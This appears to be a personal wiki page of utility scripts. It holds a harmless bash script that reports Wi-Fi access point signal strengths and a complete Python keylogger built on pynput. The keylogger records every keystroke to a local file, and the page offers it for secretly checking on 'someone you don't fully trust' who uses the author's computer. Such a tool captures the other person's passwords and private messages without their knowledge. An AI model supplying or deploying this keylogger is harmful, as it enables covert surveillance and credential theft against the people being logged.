====== Useful scripts ====== ===== Report signal strengths for wireless APs ===== Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here. Requires [[gh>charmbracelet/gum]]. #!/bin/bash device=$(ip ad | awk '/^[0-9]+:/ { print $2 }' | sed 's/://' | gum choose) sudo iw $device scan | awk '/^BSS/ { print $2 }; /signal/ { print $2, $3, "\f" }' | sed 's/(on$//' # each result will look like: # 00:11:22:33:44:55 # -72.00 dBm # additionally, they will be separated by "\f" characters ===== Log keys in Python ===== Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the [[https://pypi.org/project/pynput/|pynput]] package. from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s") def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()